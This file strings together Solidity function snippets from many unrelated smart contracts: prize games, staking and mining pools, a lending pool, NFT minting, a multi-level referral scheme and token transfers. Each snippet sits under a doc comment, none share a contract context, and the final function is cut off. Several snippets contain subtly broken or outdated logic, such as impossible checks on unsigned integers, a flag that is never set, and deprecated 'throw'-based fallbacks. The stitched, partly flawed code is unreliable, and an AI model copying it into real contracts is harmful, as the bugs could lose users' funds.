/**
 * @dev Payable function for take prize
 */

function () external payable {
        if (msg.value == 0){
            require(depositBears[currentRound - 1][msg.sender] > 0 || depositBulls[currentRound - 1][msg.sender] > 0);

            uint payout = 0;
            uint payoutGW = 0;

            if (lastWinner == 1 && depositBears[currentRound - 1][msg.sender] > 0) {
                payout = calculateLastETHPrize(msg.sender);
            }
            if (lastWinner == 2 && depositBulls[currentRound - 1][msg.sender] > 0) {
                payout = calculateLastETHPrize(msg.sender);
            }

            if (payout > 0) {
                depositBears[currentRound - 1][msg.sender] = 0;
                depositBulls[currentRound - 1][msg.sender] = 0;
                withdrawn = withdrawn.add(payout);
                msg.sender.transfer(payout);
            }

            if ((lastWinner == 1 && depositBears[currentRound - 1][msg.sender] == 0) || (lastWinner == 2 && depositBulls[currentRound - 1][msg.sender] == 0)) {
                payoutGW = calculateLastGWPrize(msg.sender);
                withdrawnGW = withdrawnGW.add(payoutGW);
                GameWaveContract.transfer(msg.sender, payoutGW);
            }

            if (msg.sender == lastRoundHero) {
                lastHeroHistory = lastRoundHero;
                lastRoundHero = address(0x0);
                withdrawn = withdrawn.add(lastJackPot);
                msg.sender.transfer(lastJackPot);
            }
        }
    }


/**
 * @dev Getting ETH prize of participant
 * @param participant Address of participant
 */

function calculateETHPrize(address participant) public view returns(uint) {

        uint payout = 0;
        uint256 totalSupply = (totalSupplyOfBears.add(totalSupplyOfBulls));

        if (depositBears[currentRound][participant] > 0) {
            payout = totalSupply.mul(depositBears[currentRound][participant]).div(totalSupplyOfBears);
        }

        if (depositBulls[currentRound][participant] > 0) {
            payout = totalSupply.mul(depositBulls[currentRound][participant]).div(totalSupplyOfBulls);
        }

        return payout;
    }


/**
 * @dev Getting GW Token prize of participant
 * @param participant Address of participant
 */

function calculateGWPrize(address participant) public view returns(uint) {

        uint payout = 0;
        uint totalSupply = (totalGWSupplyOfBears.add(totalGWSupplyOfBulls)).mul(80).div(100);

        if (depositBears[currentRound][participant] > 0) {
            payout = totalSupply.mul(depositBears[currentRound][participant]).div(totalSupplyOfBears);
        }

        if (depositBulls[currentRound][participant] > 0) {
            payout = totalSupply.mul(depositBulls[currentRound][participant]).div(totalSupplyOfBulls);
        }

        return payout;
    }


/**
 * @dev Getting ETH prize of _lastParticipant
 * @param _lastParticipant Address of _lastParticipant
 */

function calculateLastETHPrize(address _lastParticipant) public view returns(uint) {

        uint payout = 0;
        uint256 totalSupply = (lastTotalSupplyOfBears.add(lastTotalSupplyOfBulls));

        if (depositBears[currentRound - 1][_lastParticipant] > 0) {
            payout = totalSupply.mul(depositBears[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBears);
        }

        if (depositBulls[currentRound - 1][_lastParticipant] > 0) {
            payout = totalSupply.mul(depositBulls[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBulls);
        }

        return payout;
    }


/**
 * @dev Getting GW Token prize of _lastParticipant
 * @param _lastParticipant Address of _lastParticipant
 */

function calculateLastGWPrize(address _lastParticipant) public view returns(uint) {

        uint payout = 0;
        uint totalSupply = (lastTotalGWSupplyOfBears.add(lastTotalGWSupplyOfBulls)).mul(80).div(100);

        if (depositBears[currentRound - 1][_lastParticipant] > 0) {
            payout = totalSupply.mul(depositBears[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBears);
        }

        if (depositBulls[currentRound - 1][_lastParticipant] > 0) {
            payout = totalSupply.mul(depositBulls[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBulls);
        }

        return payout;
    }


/// @notice called once and only by owner

function release(address _treasury, address _vestor, address _blacksmith, address _migrator) external onlyOwner {
    require(block.timestamp >= START_TIME, "$COVER: not started");
    require(isReleased == false, "$COVER: already released");

    isReleased = true;

    blacksmith = _blacksmith;
    migrator = _migrator;
    _mint(_treasury, 950e18);
    _mint(_vestor, 10800e18);
  }


//payment code here

function() payable{
        totalEthInWei = totalEthInWei + msg.value;
        uint256 amount = msg.value * unitsOneEthCanBuy;
        if (balances[owner] < amount) {
            return;
        }

        balances[owner] = balances[owner] - amount;
        balances[msg.sender] = balances[msg.sender] + amount;

        Transfer(owner, msg.sender, amount); // Broadcast a message to the blockchain

        //Transfer ether to fundsWallet (owner)
        owner.transfer(msg.value);
    }


//payment code here
// Transfer the balance from owner's account to another account

function transfer(address _to, uint256 _amount) returns (bool success) {
         if (balances[msg.sender] >= _amount
             && _amount > 0
             && balances[_to] + _amount > balances[_to]) {
             balances[msg.sender] -= _amount;
             balances[_to] += _amount;
             Transfer(msg.sender, _to, _amount);
             return true;
         } else {
             return false;
         }
     }


// stake visibility is public as overriding LPTokenWrapper's stake() function

function stake(uint256 amount) public updateReward(msg.sender) checkStart {
        require(amount > 0, "Cannot stake 0");
        super.stake(amount);

        // check user cap
        require(
            balanceOf(msg.sender) <= tokenCapAmount || block.timestamp >= starttime.add(86400),
            "token cap exceeded"
        );

        // boosters do not affect new amounts
        boostedBalances[msg.sender] = boostedBalances[msg.sender].add(amount);
        boostedTotalSupply = boostedTotalSupply.add(amount);

        _getReward(msg.sender);

        // transfer token last, to follow CEI pattern
        stakeToken.safeTransferFrom(msg.sender, address(this), amount);
    }


/// Imported from: https://forum.openzeppelin.com/t/does-safemath-library-need-a-safe-power-function/871/7
/// Modified so that it takes in 3 arguments for base
/// @return a * (b / c)^exponent

function pow(uint256 a, uint256 b, uint256 c, uint256 exponent) internal pure returns (uint256) {
        if (exponent == 0) {
            return a;
        }
        else if (exponent == 1) {
            return a.mul(b).div(c);
        }
        else if (a == 0 && exponent != 0) {
            return 0;
        }
        else {
            uint256 z = a.mul(b).div(c);
            for (uint256 i = 1; i < exponent; i++)
                z = z.mul(b).div(c);
            return z;
        }
    }


/**
 * @notice Deposits `amount` USDC from msg.sender into the SeniorPool, and grants you the
 *  equivalent value of FIDU tokens
 * @param amount The amount of USDC to deposit
 */

function deposit(uint256 amount) public override whenNotPaused nonReentrant returns (uint256 depositShares) {
    require(amount > 0, "Must deposit more than zero");
    // Check if the amount of new shares to be added is within limits
    depositShares = getNumShares(amount);
    uint256 potentialNewTotalShares = totalShares().add(depositShares);
    require(sharesWithinLimit(potentialNewTotalShares), "Deposit would put the fund over the total limit.");
    emit DepositMade(msg.sender, amount, depositShares);
    bool success = doUSDCTransfer(msg.sender, address(this), amount);
    require(success, "Failed to transfer for deposit");

    config.getFidu().mintTo(msg.sender, depositShares);
    return depositShares;
  }


/**
 * @notice Withdraws USDC from the SeniorPool to msg.sender, and burns the equivalent value of FIDU tokens
 * @param usdcAmount The amount of USDC to withdraw
 */

function withdraw(uint256 usdcAmount) external override whenNotPaused nonReentrant returns (uint256 amount) {
    require(usdcAmount > 0, "Must withdraw more than zero");
    // This MUST happen before calculating withdrawShares, otherwise the share price
    // changes between calculation and burning of Fidu, which creates a asset/liability mismatch
    if (compoundBalance > 0) {
      _sweepFromCompound();
    }
    uint256 withdrawShares = getNumShares(usdcAmount);
    return _withdraw(usdcAmount, withdrawShares);
  }


/**
 * @notice Withdraws USDC (denominated in FIDU terms) from the SeniorPool to msg.sender
 * @param fiduAmount The amount of USDC to withdraw in terms of FIDU shares
 */

function withdrawInFidu(uint256 fiduAmount) external override whenNotPaused nonReentrant returns (uint256 amount) {
    require(fiduAmount > 0, "Must withdraw more than zero");
    // This MUST happen before calculating withdrawShares, otherwise the share price
    // changes between calculation and burning of Fidu, which creates a asset/liability mismatch
    if (compoundBalance > 0) {
      _sweepFromCompound();
    }
    uint256 usdcAmount = getUSDCAmountFromShares(fiduAmount);
    uint256 withdrawShares = fiduAmount;
    return _withdraw(usdcAmount, withdrawShares);
  }


/**
 * @notice Moves any USDC still in the SeniorPool to Compound, and tracks the amount internally.
 * This is done to earn interest on latent funds until we have other borrowers who can use it.
 *
 * Requirements:
 *  - The caller must be an admin.
 */

function sweepToCompound() public override onlyAdmin whenNotPaused {
    IERC20 usdc = config.getUSDC();
    uint256 usdcBalance = usdc.balanceOf(address(this));

    ICUSDCContract cUSDC = config.getCUSDCContract();
    // Approve compound to the exact amount
    bool success = usdc.approve(address(cUSDC), usdcBalance);
    require(success, "Failed to approve USDC for compound");

    sweepToCompound(cUSDC, usdcBalance);

    // Remove compound approval to be extra safe
    success = config.getUSDC().approve(address(cUSDC), 0);
    require(success, "Failed to approve USDC for compound");
  }


/**
 * @notice Invest in an ITranchedPool's senior tranche using the fund's strategy
 * @param pool An ITranchedPool whose senior tranche should be considered for investment
 */

function invest(ITranchedPool pool) public override whenNotPaused nonReentrant onlyAdmin {
    require(validPool(pool), "Pool must be valid");

    if (compoundBalance > 0) {
      _sweepFromCompound();
    }

    ISeniorPoolStrategy strategy = config.getSeniorPoolStrategy();
    uint256 amount = strategy.invest(this, pool);

    require(amount > 0, "Investment amount must be positive");

    approvePool(pool, amount);
    pool.deposit(uint256(ITranchedPool.Tranches.Senior), amount);

    emit InvestmentMadeInSenior(address(pool), amount);
    totalLoansOutstanding = totalLoansOutstanding.add(amount);
  }


/**
 * @notice Invest in an ITranchedPool's junior tranche.
 * @param pool An ITranchedPool whose junior tranche to invest in
 */

function investJunior(ITranchedPool pool, uint256 amount) public override whenNotPaused nonReentrant onlyAdmin {
    require(validPool(pool), "Pool must be valid");

    // We don't intend to support allowing the senior fund to invest in the junior tranche if it
    // has already invested in the senior tranche, so we prohibit that here. Note though that we
    // don't care to prohibit the inverse order, of the senior fund investing in the senior
    // tranche after investing in the junior tranche.
    ITranchedPool.TrancheInfo memory seniorTranche = pool.getTranche(uint256(ITranchedPool.Tranches.Senior));
    require(
      seniorTranche.principalDeposited == 0,
      "SeniorFund cannot invest in junior tranche of tranched pool with non-empty senior tranche."
    );

    if (compoundBalance > 0) {
      _sweepFromCompound();
    }

    require(amount > 0, "Investment amount must be positive");

    approvePool(pool, amount);
    pool.deposit(uint256(ITranchedPool.Tranches.Junior), amount);

    emit InvestmentMadeInJunior(address(pool), amount);
    totalLoansOutstanding = totalLoansOutstanding.add(amount);
  }


/**
 * @notice Redeem interest and/or principal from an ITranchedPool investment
 * @param tokenId the ID of an IPoolTokens token to be redeemed
 */

function redeem(uint256 tokenId) public override whenNotPaused nonReentrant onlyAdmin {
    IPoolTokens poolTokens = config.getPoolTokens();
    IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId);

    ITranchedPool pool = ITranchedPool(tokenInfo.pool);
    (uint256 interestRedeemed, uint256 principalRedeemed) = pool.withdrawMax(tokenId);

    _collectInterestAndPrincipal(address(pool), interestRedeemed, principalRedeemed);
  }


/**
 * @notice Write down an ITranchedPool investment. This will adjust the fund's share price
 *  down if we're considering the investment a loss, or up if the borrower has subsequently
 *  made repayments that restore confidence that the full loan will be repaid.
 * @param tokenId the ID of an IPoolTokens token to be considered for writedown
 */

function writedown(uint256 tokenId) public override whenNotPaused nonReentrant onlyAdmin {
    IPoolTokens poolTokens = config.getPoolTokens();
    require(address(this) == poolTokens.ownerOf(tokenId), "Only tokens owned by the senior fund can be written down");

    IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId);
    ITranchedPool pool = ITranchedPool(tokenInfo.pool);
    require(validPool(pool), "Pool must be valid");

    uint256 principalRemaining = tokenInfo.principalAmount.sub(tokenInfo.principalRedeemed);

    (uint256 writedownPercent, uint256 writedownAmount) = _calculateWritedown(pool, principalRemaining);

    uint256 prevWritedownAmount = writedowns[pool];

    if (writedownPercent == 0 && prevWritedownAmount == 0) {
      return;
    }

    int256 writedownDelta = int256(prevWritedownAmount) - int256(writedownAmount);
    writedowns[pool] = writedownAmount;
    distributeLosses(writedownDelta);
    if (writedownDelta > 0) {
      // If writedownDelta is positive, that means we got money back. So subtract from totalWritedowns.
      totalWritedowns = totalWritedowns.sub(uint256(writedownDelta));
    } else {
      totalWritedowns = totalWritedowns.add(uint256(writedownDelta * -1));
    }
    emit PrincipalWrittenDown(address(pool), writedownDelta);
  }


/**
 * @notice Calculates the writedown amount for a particular pool position
 * @param tokenId The token reprsenting the position
 * @return The amount in dollars the principal should be written down by
 */

function calculateWritedown(uint256 tokenId) public view override returns (uint256) {
    IPoolTokens.TokenInfo memory tokenInfo = config.getPoolTokens().getTokenInfo(tokenId);
    ITranchedPool pool = ITranchedPool(tokenInfo.pool);

    uint256 principalRemaining = tokenInfo.principalAmount.sub(tokenInfo.principalRedeemed);
    (uint256 _, uint256 writedownAmount) = _calculateWritedown(pool, principalRemaining);
    return writedownAmount;
  }


/*
 returns the  unpaid earnings
 */

function getUnpaidEarnings(address shareholder) public view returns (uint256) {
        if(shares[shareholder].amount == 0){ return 0; }

        uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

        if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }

        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }


// helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol

function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }


// Mystic implementation of eip-1167 - see https://eips.ethereum.org/EIPS/eip-1167

function createClone(address payable target) internal returns (address payable result) {
        bytes20 targetBytes = bytes20(target);
        assembly {
            let clone := mload(0x40)
            mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
            mstore(add(clone, 0x14), targetBytes)
            mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
            result := create(0, clone, 0x37)
        }
    }


//USER FUNCTIONS

function meltPunk(uint256 tokenId) public payable returns (uint256) {
        require(msg.value >= currentPrice, "Must send enough ETH.");
        require(
            tokenId >= 0 && tokenId < 10000,
            "Punk ID must be between -1 and 10000"
        );
        require(totalSupply() < maxSupply, "Maximum punks already melted.");
        require(_exists(tokenId) == false, "Punk already melted.");

        _mint(msg.sender, tokenId);

        return tokenId;
    }


// Get the internal liquidity of a SVT token

function get_svt_liquidity(uint256 svt_id) external  view returns (bool, bool, address, address, uint256, uint256, uint256, address, address, bool) {
        require(SVT_address[svt_id].deployed, "SVT Token does not exist");
        uint256 liq_index = SVT_address[svt_id].SVT_Liquidity_storage;
        require(SVT_Liquidity_index[liq_index].deployed, "SVT Token has no liquidity");
        return (SVT_Liquidity_index[liq_index].active,
                SVT_Liquidity_index[liq_index].deployed,
                address(SVT_Liquidity_index[liq_index].token_1),
                address(SVT_Liquidity_index[liq_index].token_2),
                SVT_Liquidity_index[liq_index].token_1_qty,
                SVT_Liquidity_index[liq_index].token_2_qty,
                SVT_Liquidity_index[liq_index].liq_mode,
                address(SVT_Liquidity_index[liq_index].factory),
                address(SVT_Liquidity_index[liq_index].pair),
                SVT_Liquidity_index[liq_index].native_pair);
    }


// Get the price of a token in eth

function get_token_price(address pairAddress, uint amount) external  view returns(uint)
    {
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
        address token1_frompair = pair.token1();
        ERC20 token1 = ERC20(token1_frompair);
        (uint Res0, uint Res1,) = pair.getReserves();

        // decimals
        uint res0 = Res0*(10**token1.decimals());
        return((amount*res0)/Res1); // return amount of token0 needed to buy token1
    }


// Return the properties of a SVT token

function get_svt(uint256 addy) external  view returns (address, uint256, uint256, uint256[] memory, bytes32 , bytes32 ) {
        require(SVT_address[addy].deployed, "Token not deployed");
        address tokenOwner = SVT_address[addy].tokenOwner;
        uint256 supply = SVT_address[addy].totalSupply;
        uint256 circulatingSupply = SVT_address[addy].circulatingSupply;
        uint256[] memory fees = SVT_address[addy].fees;
        bytes32  name = SVT_address[addy].name;
        bytes32  ticker = SVT_address[addy].ticker;
        return (tokenOwner, supply, circulatingSupply, fees, name, ticker);

    }


/// @notice Unbridge to ETH a quantity of SVT token

function exit_to_token(address token, uint256 qty) public safe {
        ERC20 from_token = ERC20(token);
        // Security and uniqueness checks
        require(imported[token], "This token is not imported");
        uint256 unbridge_id = imported_id[token];
        require(SVT_address[unbridge_id].balance[msg.sender] >= qty, "You don't have enough tokens");
        require(from_token.balanceOf(address(this)) >= qty, "There aren't enough tokens");
        from_token.transfer(msg.sender, taxes_include_fee(qty));
        if (SVT_address[unbridge_id].circulatingSupply < 0) {
            SVT_address[unbridge_id].circulatingSupply = 0;
        }
        SVT_address[unbridge_id].balance[msg.sender] -= qty;
        taxes_native_total[unbridge_id] += qty - taxes_include_fee(qty);
    }


/// @notice The next two functions are responsible to check against the initialized plugin methods ids or names. Require is used to avoid tx execution with gas if fails

function check_ivc_plugin_method_id(uint256 plugin, uint256 id) public view onlyTeam returns (bool) {
        require(plugin_loaded[plugin].exists(), "Plugin not loaded or not existant");
        bool found = false;
        for (uint256 i = 0; i < plugins_methods_id[plugin].length; i++) {
            if (plugins_methods_id[plugin][i] == id) {
                return true;
            }
        }
        require(found);
        return false;
    }


/// @notice This function allows issuance of native coins

function issue_native_svt(
        bytes32  name,
        bytes32  ticker,
        uint256 max_supply,
        uint256[] calldata fees)
    public Unlocked(1553) safe {
        uint256 thisAddress = svt_last_id+1;
        SVT_address[thisAddress].deployed = true;
        SVT_address[thisAddress].circulatingSupply = max_supply;
        SVT_address[thisAddress].totalSupply = max_supply;
        SVT_address[thisAddress].fees = fees;
        SVT_address[thisAddress].name = name;
        SVT_address[thisAddress].ticker = ticker;
        SVT_address[thisAddress].isBridged = true;
        SVT_address[thisAddress].original_token = ZERO;
        SVT_address[thisAddress].balance[msg.sender] = taxes_include_fee(max_supply);
        SVT_address[thisAddress].SVT_Liquidity_storage = svt_liquidity_last_id + 1;
        svt_liquidity_last_id += 1;
        taxes_native_total[thisAddress] += max_supply - taxes_include_fee(max_supply);
    }


/**
 * Mint a number of cards straight in target wallet.
 * @param _to: The target wallet address, make sure it's the correct wallet.
 * @param _numberOfTokens: The number of tokens to mint.
 * @dev This function can only be called by the contract owner as it is a free mint.
 */

function mintFreeCards(address _to, uint _numberOfTokens) public onlyOwner {
        uint totalSupply = totalSupply();
        require(_numberOfTokens <= _cardReserve, "Not enough cards left in reserve");
        require(totalSupply >= _mainCardCnt);
        require(totalSupply + _numberOfTokens <= _mainCardCnt + _cardReserve, "Purchase would exceed max supply of cards");
        for(uint i = 0; i < _numberOfTokens; i++) {
            uint mintIndex = totalSupply + i;
            _safeMint(_to, mintIndex);
        }
        _cardReserve -= _numberOfTokens;
    }


/**
 * Mint a number of cards straight in the caller's wallet.
 * @param _numberOfTokens: The number of tokens to mint.
 */

function mintCard(uint _numberOfTokens) public payable {
        uint totalSupply = totalSupply();
        require(_saleIsActive, "Sale must be active to mint a Card");
        require(_numberOfTokens < 21, "Can only mint 20 tokens at a time");
        require(totalSupply + _numberOfTokens <= _mainCardCnt, "Purchase would exceed max supply of cards");
        require(msg.value >= _cardPrice * _numberOfTokens, "Ether value sent is not correct");
        for(uint i = 0; i < _numberOfTokens; i++) {
            uint mintIndex = totalSupply + i;
            _safeMint(msg.sender, mintIndex);
        }
    }


/// @return id of new user

function register() public payable onlyNotExistingUser returns(uint256) {
        require(addressToUser[msg.sender] == 0);

        uint256 index = users.push(User(msg.sender, msg.value, 0, 0, new uint256[](4), new uint256[](referralLevelsCount))) - 1;
        addressToUser[msg.sender] = index;
        totalUsers++;

        emit CreateUser(index, msg.sender, msg.value);
        return index;
    }


/// @notice update referrersByLevel and referralsByLevel of new user
/// @param _newUserId the ID of the new user
/// @param _refUserId the ID of the user who gets the affiliate fee

function _updateReferrals(uint256 _newUserId, uint256 _refUserId) private {
        if (_newUserId == _refUserId) return;
        users[_newUserId].referrersByLevel[0] = _refUserId;

        for (uint i = 1; i < referralLevelsCount; i++) {
            uint256 _refId = users[_refUserId].referrersByLevel[i - 1];
            users[_newUserId].referrersByLevel[i] = _refId;
            users[_refId].referralsByLevel[uint8(i)].push(_newUserId);
        }

        users[_refUserId].referralsByLevel[0].push(_newUserId);
    }


/// @notice distribute value of tx to referrers of user
/// @param _userId the ID of the user who gets the affiliate fee
/// @param _sum value of ethereum for distribute to referrers of user

function _distributeReferrers(uint256 _userId, uint256 _sum) private {
        uint256[] memory referrers = users[_userId].referrersByLevel;

        for (uint i = 0; i < referralLevelsCount; i++) {
            uint256 referrerId = referrers[i];

            if (referrers[i] == 0) break;
            if (users[referrerId].totalPay < minSumReferral) continue;

            uint16[] memory percents = getReferralPercents(users[referrerId].totalPay);
            uint256 value = _sum * percents[i] / 10000;
            users[referrerId].balance = users[referrerId].balance.add(value);
            users[referrerId].referrersReceived = users[referrerId].referrersReceived.add(value);

            emit ReferrerDistribute(_userId, referrerId, value);
        }
    }


/// @notice deposit ethereum for user
/// @return balance value of user

function deposit() public payable onlyExistingUser returns(uint256) {
        require(msg.value > minSumDeposit, "Deposit does not enough");
        uint256 userId = addressToUser[msg.sender];
        users[userId].balance = users[userId].balance.add(msg.value);
        totalDeposit += msg.value;

        // distribute
        _distributeInvestment(msg.value);
        _updateLeaders(msg.sender, msg.value);

        emit Deposit(userId, msg.value);
        return users[userId].balance;
    }


/// @notice mechanics of buying any factory
/// @param _type type of factory needed
/// @return id of new factory

function buyFactory(FactoryType _type) public payable onlyExistingUser returns (uint256) {
        uint256 userId = addressToUser[msg.sender];

        // if user not registered
        if (addressToUser[msg.sender] == 0)
            userId = register();

        return _paymentProceed(userId, Factory(_type, 0, now));
    }


//This function is called when Ether is sent to the contract address
//Even if 0 ether is sent.

function () payable {

	    uint256 tryAmount = div((mul(msg.value, rate)), 1 ether);                   //Don't let people buy more tokens than there are.

		if (msg.value == 0 || msg.value < 0 || balanceOf(owner) < tryAmount) {		//If zero ether is sent, kill. Do nothing.
			throw;
		}

	    amount = 0;									                //set the 'amount' var back to zero
		amount = div((mul(msg.value, rate)), 1 ether);				//take sent ether, multiply it by the rate then divide by 1 ether.
		transferFrom(owner, msg.sender, amount);                    //Send tokens to buyer
		amount = 0;									                //set the 'amount' var back to zero

		owner.transfer(msg.value);					                //Send the ETH to contract owner.

	}


/// @notice function of proceed payment
/// @dev for only buy new factory
/// @return id of new factory

function _paymentProceed(uint256 _userId, Factory _factory) private returns(uint256) {
        User storage user = users[_userId];

        require(_checkPayment(user, _factory.ftype, _factory.level));

        uint256 price = getPrice(_factory.ftype, 0);
        user.balance = user.balance.add(msg.value);
        user.balance = user.balance.sub(price);
        user.totalPay = user.totalPay.add(price);
        totalDeposit += msg.value;

        uint256 index = factories.push(_factory) - 1;
        factoryToUser[index] = _userId;
        userToFactories[_userId].push(index);

        // distribute
        _distributeInvestment(msg.value);
        _distributeReferrers(_userId, price);
        _updateLeaders(msg.sender, msg.value);

        emit PaymentProceed(_userId, index, _factory.ftype, price);
        return index;
    }


/// @notice level up for factory
/// @param _factoryId id of factory

function levelUp(uint256 _factoryId) public payable onlyExistingUser {
        Factory storage factory = factories[_factoryId];
        uint256 price = getPrice(factory.ftype, factory.level + 1);

        uint256 userId = addressToUser[msg.sender];
        User storage user = users[userId];

        require(_checkPayment(user, factory.ftype, factory.level + 1));

        // payment
        user.balance = user.balance.add(msg.value);
        user.balance = user.balance.sub(price);
        user.totalPay = user.totalPay.add(price);
        totalDeposit += msg.value;

        _distributeInvestment(msg.value);
        _distributeReferrers(userId, price);

        // collect
        _collectResource(factory, user);
        factory.level++;

        _updateLeaders(msg.sender, msg.value);

        emit LevelUp(_factoryId, factory.level, userId, price);
    }


/// @notice function for collect all resources from all factories
/// @dev wrapper over _collectResource

function collectResources() public onlyExistingUser {
        uint256 index = addressToUser[msg.sender];
        User storage user = users[index];
        uint256[] storage factoriesIds = userToFactories[addressToUser[msg.sender]];

        for (uint256 i = 0; i < factoriesIds.length; i++) {
            _collectResource(factories[factoriesIds[i]], user);
        }
    }


// always results in incubation of 1 egg.

function startIncubate() public whenNotPausedIncubate nonReentrant{
        require (tme.balanceOf(msg.sender) >= tmePerIncubate, "Not enough TME");
        require (maxActiveIncubationsPerUser == 0 || ownerToNumActiveIncubations[msg.sender] < maxActiveIncubationsPerUser, "Max active incubations exceed");
        require (tme.transferFrom(address(msg.sender), address(this), tmePerIncubate), "Failed to transfer TME");
        uint256 newId = incubations.length;
        uint256 targetBlock = block.number + inbucateDurationInSecs.div(secsPerBlock) - 20; //buffer to make sure target block is earlier than end timestamp
        uint256 endTime = block.timestamp + inbucateDurationInSecs;
        Incubation memory incubation = Incubation(
            newId,
            block.number,
            targetBlock,
            msg.sender,
            block.timestamp,
            endTime,
            false,
            false,
            0
        );
        traitOracle.registerSeedForIncubation(targetBlock, msg.sender, block.timestamp, newId);

        incubations.push(incubation);
        ownerToNumIncubations[msg.sender] += 1;
        ownerToIds[msg.sender].push(newId);
        ownerToNumActiveIncubations[msg.sender] += 1;

        // require(incubations[newId].id == newId, "Sanity check for using id as arr index");

        emit IncubationStarted(msg.sender, block.timestamp, endTime);
    }


// called by backend to find out hatch result

function getResultOfIncubation(uint256 id) public view returns (bool, uint256){
        require (id < incubations.length, "invalid id");

        Incubation memory toHatch = incubations[id];
        require (toHatch.targetBlock < block.number, "not reached block");
        uint256 randomN = traitOracle.getRandomN(toHatch.targetBlock, toHatch.id);
        bool success = (_sliceNumber(randomN, SUCCESS_BIT_WIDTH, SUCCESS_OFFSET) >= HATCH_THRESHOLD);
        uint256 randomN2 = uint256(keccak256(abi.encodePacked(randomN)));
        uint256 traits = getTraitsFromRandom(randomN2);

        return (success, traits);
    }


/// @dev given a number get a slice of any bits, at certain offset
/// @param _n a number to be sliced
/// @param _nbits how many bits long is the new number
/// @param _offset how many bits to skip

function _sliceNumber(uint256 _n, uint8 _nbits, uint8 _offset) private pure returns (uint8) {
        // mask is made by shifting left an offset number of times
        uint256 mask = uint256((2**uint256(_nbits)) - 1) << _offset;
        // AND n with mask, and trim to max of _nbits bits
        return uint8((_n & mask) >> _offset);
    }


/// INITIALIZATION FUNCTIONALITY ///

function initialize() public {
        require(!initialized, "Contract is already initialized");
        owner = msg.sender;
        proposedOwner = address(0);
        assetProtectionRole = address(0);
        totalSupply_ = 0;
        supplyController = msg.sender;
        feeRate = 0;
        feeController = msg.sender;
        feeRecipient = msg.sender;
        initialized = true;
    }


/// ERC20 FUNCTIONALITY ///

function transferFrom(
        address _from,
        address _to,
        uint256 _value
    )
    public
    whenNotPaused
    returns (bool)
    {
        require(_to != address(0), "cannot transfer to address zero");
        require(!frozen[_to] && !frozen[_from] && !frozen[msg.sender], "address frozen");
        require(_value <= balances[_from], "insufficient funds");
        require(_value <= allowed[_from][msg.sender], "insufficient allowance");

        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        _transfer(_from, _to, _value);

        return true;
    }


// Increase the lock balance of a specific person.
// If you only want to increase the balance, the release_time must be specified in advance.

function increaseLockBalance(address _holder, uint256 _value)
    public
    onlyOwner
    returns (bool)
  {
	require(_holder != address(0));
	require(_value > 0);
	require(balanceOf(_holder) >= _value);

	if (userLock[_holder].release_time == 0) {
		userLock[_holder].release_time = block.timestamp + lock_period;
	}

	userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
	emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
	return true;
  }


/// @notice update pool's rewards & bonus per staked token till current block timestamp

function updatePool(address _lpToken) public override {
    Pool storage pool = pools[_lpToken];
    if (block.timestamp <= pool.lastUpdatedAt) return;
    uint256 lpTotal = IERC20(_lpToken).balanceOf(address(this));
    if (lpTotal == 0) {
      pool.lastUpdatedAt = block.timestamp;
      return;
    }
    // update COVER rewards for pool
    uint256 coverRewards = _calculateCoverRewardsForPeriod(pool);
    pool.accRewardsPerToken = pool.accRewardsPerToken.add(coverRewards.div(lpTotal));
    pool.lastUpdatedAt = block.timestamp;
    // update bonus token rewards if exist for pool
    BonusToken storage bonusToken = bonusTokens[_lpToken];
    if (bonusToken.lastUpdatedAt < bonusToken.endTime && bonusToken.startTime < block.timestamp) {
      uint256 bonus = _calculateBonusForPeriod(bonusToken);
      bonusToken.accBonusPerToken = bonusToken.accBonusPerToken.add(bonus.div(lpTotal));
      bonusToken.lastUpdatedAt = block.timestamp <= bonusToken.endTime ? block.timestamp : bonusToken.endTime;
    }
  }


/// @notice withdraw all without rewards

function emergencyWithdraw(address _lpToken) external override {
    Miner storage miner = miners[_lpToken][msg.sender];
    uint256 amount = miner.amount;
    require(miner.amount > 0, "Blacksmith: insufficient balance");
    miner.amount = 0;
    miner.rewardWriteoff = 0;
    _safeTransfer(_lpToken, amount);
    emit Withdraw(msg.sender, _lpToken, amount);
  }


/// @notice update pool weights

function updatePoolWeights(address[] calldata _lpTokens, uint256[] calldata _weights) public override onlyGovernance {
    for (uint256 i = 0; i < _lpTokens.length; i++) {
      Pool storage pool = pools[_lpTokens[i]];
      if (pool.lastUpdatedAt > 0) {
        totalWeight = totalWeight.add(_weights[i]).sub(pool.weight);
        pool.weight = _weights[i];
      }
    }
  }


/// @notice add a new pool for shield mining

function addPool(address _lpToken, uint256 _weight) public override onlyOwner {
    Pool memory pool = pools[_lpToken];
    require(pool.lastUpdatedAt == 0, "Blacksmith: pool exists");
    pools[_lpToken] = Pool({
      weight: _weight,
      accRewardsPerToken: 0,
      lastUpdatedAt: block.timestamp
    });
    totalWeight = totalWeight.add(_weight);
    poolList.push(_lpToken);
  }


/// @notice add new pools for shield mining

function addPools(address[] calldata _lpTokens, uint256[] calldata _weights) external override onlyOwner {
    require(_lpTokens.length == _weights.length, "Blacksmith: size don't match");
    for (uint256 i = 0; i < _lpTokens.length; i++) {
     addPool(_lpTokens[i], _weights[i]);
    }
